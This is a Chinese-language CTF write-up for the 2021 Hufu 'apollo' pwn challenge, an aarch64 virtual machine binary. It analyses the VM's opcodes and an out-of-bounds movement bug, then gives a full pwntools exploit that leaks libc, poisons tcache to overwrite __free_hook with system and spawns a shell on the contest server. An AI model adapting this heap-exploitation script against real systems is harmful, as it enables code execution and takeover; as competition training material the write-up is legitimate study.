2021虎符-PWN-apollo题解

2021-04-04
#ctf #pwn #wp

这次比赛又爆零了,本来这道题是能够做出来的,就是因为大量时间花在的逆向分析上。一开始拿IDA反汇编,生成的伪代码程序逻辑都读不懂,然后开始直接看汇编了。后来试了一下ghidra效果好很多,能分析完这道题vm,就已经来不及了。平时应该多练练非x86i386架构的题。

ghidraIDA生成的伪代码的对比图(IDA里的那行BR X0完全不知道跳哪去):

IDAghidra

题目分析

main函数执行一些初始化操作后就读入了长度为0x1000的虚拟机的字节码,然后开始运行,即上图的jump函数。将输入的字符通过op_table查找对应的jump_table的编号进行跳转。op_table如图:optable

jump_table12个函数:jumptable

startrun

开始运行,有长宽两个参数,会先后通过calloc创建flag_tabletime_tablestartrun

add/free/print comment

我的理解是给一个格子添加或删除上一个注释?

comment

set/clear flag

setflag

up/down/left/right

up函数举例,其它方向同理。先看当前位置是否在顶部,然后判断上方格子的flag是否为0或2或3,若为0则向上移一格,为2或3则向上移两格。但是此处移两个可能会导致越界。

同时移动后会在time_table上记录下当前的步骤数。可以配合越界,到达在其它区块上写入的效果。up

nop/finish

利用思路

题目给的是2.27-3ubuntu1的glibc。思路如下:

  1. 先开一个较大的空间将其放入bins中,再开0x10的大小通过利用read函数不会在结尾加上\0的特性泄露出libc的偏移
  2. 再开一个0x60的空间,再通过移动的越界将0x10的区块的size改成0x91即将上面的0x60区块完全覆盖
  3. 释放0x60的区块,进入tcache
  4. 释放并重新申请刚才改过大小的区块,通过溢出将0x60的区块的next指针改成__free_hook的地址
  5. 重新开两个0x60的空间,第二个就会在__free_hook,写入system函数的地址
  6. 释放一个内容为/bin/sh的区块

Exploit

from typing import Union
from pwn import *
from LibcSearcher import *
from IdaManage import *
from pwnlib.rop import *
from pwnlib.context import *
from pwnlib.fmtstr import *
from pwnlib.util.packing import *

context.log_level='debug'
context.binary='./apollo'
DEBUG=1
IDA=0

choice_array=[
    10, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11,
    11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11,
    11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11,
    1, 3, 11, 4, 11, 2, 11, 11, 11, 11, 11, 11, 11, 11, 11,
    11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11,
    11, 11, 11, 11, 11, 11, 0, 11, 11, 11, 11, 11, 11, 11,
    11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 7, 11,
    11, 8, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 9,
    11, 11, 6, 11, 11, 11, 5, 11, 11, 11, 11, 11, 11, 11,
    11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11,
    11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11,
    11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11,
    11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11,
    11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11,
    11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11,
    11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11,
    11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11,
    11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11,
    11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11]

if DEBUG:
    if IDA:
        p=process(['qemu-aarch64','-L','./','-g','23948','apollo'])
    else:
        p=process(['qemu-aarch64','-L','./','apollo'])
else:
    p=remote('8.140.179.11',13422)
elf=ELF('apollo')
libc=ELF('./lib/libc.so.6')

ida=IDAManage('192.168.138.1',9945,isWork=IDA)
ida.attachAndContinue()

def sendAndWait(c):
    def s(p):
        if IDA:
            input()
        else:
            sleep(0.2)
        p.send(c)
    return s

class VM:
    todo=[]
    ops=[]
    def start(self,h,w):
        assert w>3 and w<0x11
        assert h>3 and h<0x11
        self.ops.append(choice_array.index(0))
        self.ops.append(h)
        self.ops.append(w)
        return self
    def addcomment(self,y,x,size,content):
        assert size<0x601
        self.ops.append(choice_array.index(1))
        self.ops.append(y)
        self.ops.append(x)
        self.ops.append(size&0xff)
        self.ops.append(size>>8)
        if isinstance(content,(str,bytes)):
            self.todo.append(sendAndWait(content))
        else:
            self.todo.append(content)
    def freecomment(self,y,x):
        self.ops.append(choice_array.index(2))
        self.ops.append(y)
        self.ops.append(x)
    def setflag(self,y,x,flag):
        assert flag>1 and flag<5
        self.ops.append(choice_array.index(3))
        self.ops.append(y)
        self.ops.append(x)
        self.ops.append(flag)
    def clearflag(self,y,x):
        self.ops.append(choice_array.index(4))
        self.ops.append(y)
        self.ops.append(x)
    def up(self):
        self.ops.append(choice_array.index(5))
    def down(self):
        self.ops.append(choice_array.index(6))
    def left(self):
        self.ops.append(choice_array.index(7))
    def right(self):
        self.ops.append(choice_array.index(8))
    def print_comment(self,fun=None):
        self.ops.append(choice_array.index(9))
        if fun!=None:
            self.todo.append(fun)
    def finish(self):
        self.ops.append(choice_array.index(10))
    def nop(self):
        self.ops.append(choice_array.index(11))
    def build(self):
        return bytes(self.ops)
    def send(self,p):
        p.sendafter('> ',self.build())
        for i in self.todo:
            i(p)

vm=VM()
vm.start(5,0x10)
for _ in range(8):
    vm.right()
vm.down()
vm.down()
vm.down()

vm.addcomment(1,0,0x4f0,'richar')
vm.addcomment(1,3,0x10,b'/bin/sh\0')
vm.freecomment(1,0)

vm.addcomment(1,0,0x10,'a'*9)
def getLibcBase(p):
    p.recvuntil('a'*9)
    addr=u64((b'\0'+p.recvuntil('\npos',True)).ljust(8,b'\0'))-0x154f00
    libc.address=addr
    log.info('LIBC: '+hex(addr))
vm.print_comment(getLibcBase)

for _ in range((0x90-10)//2):
    vm.up()
    vm.down()
vm.setflag(4,0x8,3)
vm.down()

vm.addcomment(1,2,0x60,'richar')
vm.freecomment(1,2)
vm.freecomment(1,0)
vm.addcomment(1,0,0x80,lambda p: sendAndWait(flat(0,0,0,0x71,libc.sym['__free_hook']))(p))
vm.addcomment(1,2,0x60,'richar')
vm.addcomment(2,2,0x60,lambda p: sendAndWait(flat(libc.sym['system']))(p))
vm.freecomment(1,3)
vm.send(p)

p.interactive()